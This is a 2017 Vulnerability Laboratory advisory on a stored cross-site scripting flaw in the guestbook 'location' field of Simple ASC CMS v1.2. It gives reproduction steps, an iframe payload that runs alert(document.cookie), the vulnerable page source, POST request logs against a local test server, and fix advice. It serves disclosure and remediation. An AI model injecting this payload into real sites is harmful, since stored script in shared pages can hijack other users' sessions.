Document Title: =============== Simple ASC CMS v1.2 - (Guestbook) Persistent Vulnerability References (Source): ==================== https://www.vulnerability-lab.com/get_content.php?id=2072 Release Date: ============= 2017-05-21 Vulnerability Laboratory ID (VL-ID): ==================================== 2072 Common Vulnerability Scoring System: ==================================== 3.8 Vulnerability Class: ==================== Cross Site Scripting - Persistent Product & Service Introduction: =============================== Simple ASC CMS permit to create websites in minutes with its dynamic genaration of news menus links and pages. It use Access Database and is simple to install. There is admin panel where you can manage all features. Provide advanced features as Polls Forum and Guestbook. No need to install third parts components. (COpy of the Homepage: http://www.aspsource.org/home/default.asp ) Abstract Advisory Information: ============================== The vulnerability laboratory core research team discovered a stored cross site scripting vulnerability in the Simple ASC v1.2 CMS. Vulnerability Disclosure Timeline: ================================== 2017-05-22: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== ASP Source Community Product: Simple ASP - Content Management System (Web-Application) 1.2 Exploitation Technique: ======================= Remote Severity Level: =============== Medium Technical Details & Description: ================================ A stored cross site scripting vulnerability has been discovered in the official Simple ASC v1.2 Content Management System. The vulnerability allows remote attackers to inject own malicious script code on application-side to compromise the affected function or module of the online service web-application. The stored cross site scripting vulnerability is located in the `location` input field in the `sign` function of the guestbook. Remote attackers are able to inject own malicious script code via location parameter by a POST method request. The attack vector of the vulnerability is persistent and the request method to inject is POST. The injection point is the vulnerable location input field and the execution point occurs in the guestbook index. The vulnerable and affected files of the guestbook module are `formgb.asp`, `msggb.asp` and `guestbook.asp`. The security risk of the vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.8. Exploitation of the cross site vulnerability requires no privileged web-application user account and low user interaction. Successful exploitation results in session hijacking, persistent phishings attacks, persistent external redirect and malware loads or persistent manipulation of affected and connected module context. Request Method(s): [+] POST Vulnerable Service(s): [+] Guestbook Vulnerable File(s): [+] formgb.asp [+] msggb.asp Vulnerable Input Field(s): [+] Location Vulnerable Parameter(s): [+] location Affected Module(s): [+] guestbook.asp Proof of Concept (PoC): ======================= The vulnerability can be exploited by remote attackers without privileged user account and with low user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. Manual steps to reproduce the vulnerability ... 1. Open the web-application 2. Move to the integrated guestbook 3. Click to sign the guestbook 4. Inject the payload to the location input field to the guestbook formgb.asp file 5. Save the entry by a click to sign via POST method 6. The payload executes in the location parameter for all users of the content management system 7. Successful reproduce of the stored cross site scripting vulnerability! PoC: Payload <iframe src="http://www.vuln-lab.com" onload="alert(document.cookie)" <=""> PoC: Vulnerable Source <tbody><tr><td colspan="2" class="par"></td></tr> <tr><td colspan="3" align="center"><b><a href="formgb.asp">Sign Guestbook</a></b></td></tr> <tr><td>&nbsp;</td></tr> <tr><td> <a href="guestbook.asp?pag=1">1</a> <a href="guestbook.asp?pag=2">2</a> </td></tr> <tr class="prgb"><td align="left"> tester32 | &gt;"[MALICIOUS PAYLOAD EXECUTION!]<iframe src="http://www.vuln-lab.com" onload="alert(document.cookie)" <=""> &nbsp;<a href="mailto:pto@gmail.com"><img src="./imm/Email-Reply-icon.png" /></a> &nbsp;<font size="1">**/**/2017 **:**:** AM</font></td> </tr> <tr><td><p>like it</p></td></tr> <tr><td>&nbsp;</td></tr> --- PoC Session Logs [POST] --- Status: 302[Object moved] POST http://localhost:8080/asccms/msggb.asp Mime Type[text/html] Request Header: Host[localhost:8080] User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Content-Type[application/x-www-form-urlencoded] Content-Length[267] Referer[http://localhost:8080/asccms/formgb.asp] Cookie[ASPSESSIONIDAARCTTBT=NGDHMDMABACBBJGMEHOJHSGE] Connection[keep-alive] Upgrade-Insecure-Requests[1] POST-Daten: nick[tester32] email[test32%40test.de] loc[%3E%22%3Ciframe+src%3Dhttp%3A%2F%2Fwww.vuln-lab.com+onload%3Dalert%28document.cookie%29+%3C+++ %3E%22%3Ciframe+src%3Dhttp%3A%2F%2Fwww.vuln-lab.com+onload%3Dalert%28document.cookie%29+%3C MALICIOUS INJECTED PAYLOAD!] txtmsg[%3Cp%3Elike+it%3C%2Fp%3E] inum[10] Response Header: Cache-Control[private] Content-Length[134] Content-Type[text/html] Location[guestbook.asp] Server[Microsoft-IIS/7.5] X-Powered-By[ASP.NET] - Status: 200[OK] GET http://localhost:8080/asccms/guestbook.asp Mime Type[text/html] Request Header: Host[localhost:8080] User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Referer[http://localhost:8080/asccms/formgb.asp] Cookie[ASPSESSIONIDAARCTTBT=NGDHMDMABACBBJGMEHOJHSGE] Connection[keep-alive] Upgrade-Insecure-Requests[1] Response Header: Cache-Control[private] Content-Type[text/html] Content-Encoding[gzip] Vary[Accept-Encoding] Server[Microsoft-IIS/7.5] X-Powered-By[ASP.NET] Content-Length[1354] Reference(s): http://localhost:8080/ http://localhost:8080/asccms/ http://localhost:8080/asccms/msggb.asp http://localhost:8080/asccms/formgb.asp http://localhost:8080/asccms/guestbook.asp Solution - Fix & Patch: ======================= 1. Parse in all the files the location parameter via escape 2. Restrict the input field of the location by disallowing the usage of special chars to prevent attacks 3. Parse the location output in the main index of the guestbook to prevent the execution point 4. Setup a secure exception-handling and use entities to prevent further script code injection attacks Security Risk: ============== The security risk of the persistent input validation vulnerability in the guestbook module of the acs application is estimated as medium (CVSS 3.8). Credits & Authors: ================== Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (http://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.) Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability Labs or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability mainly for incidental or consequential damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data. We have no need for criminal activities or membership requests. We do not publish advisories or vulnerabilities of religious-, militant- and racist- hacker/analyst/researcher groups or individuals. We do not publish trade researcher mails, phone numbers, conversations or anything else to journalists, investigative authorities or private individuals. Domains: www.vulnerability-lab.com - www.vulnerability-db.com - www.evolution-sec.com Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register.php Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php Social: twitter.com/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Any modified copy or reproduction, including partially usages, of this file, resources or information requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@) to get an ask permission. Copyright A(c) 2017 | Vulnerability Laboratory - [Evolution Security GmbH]aC/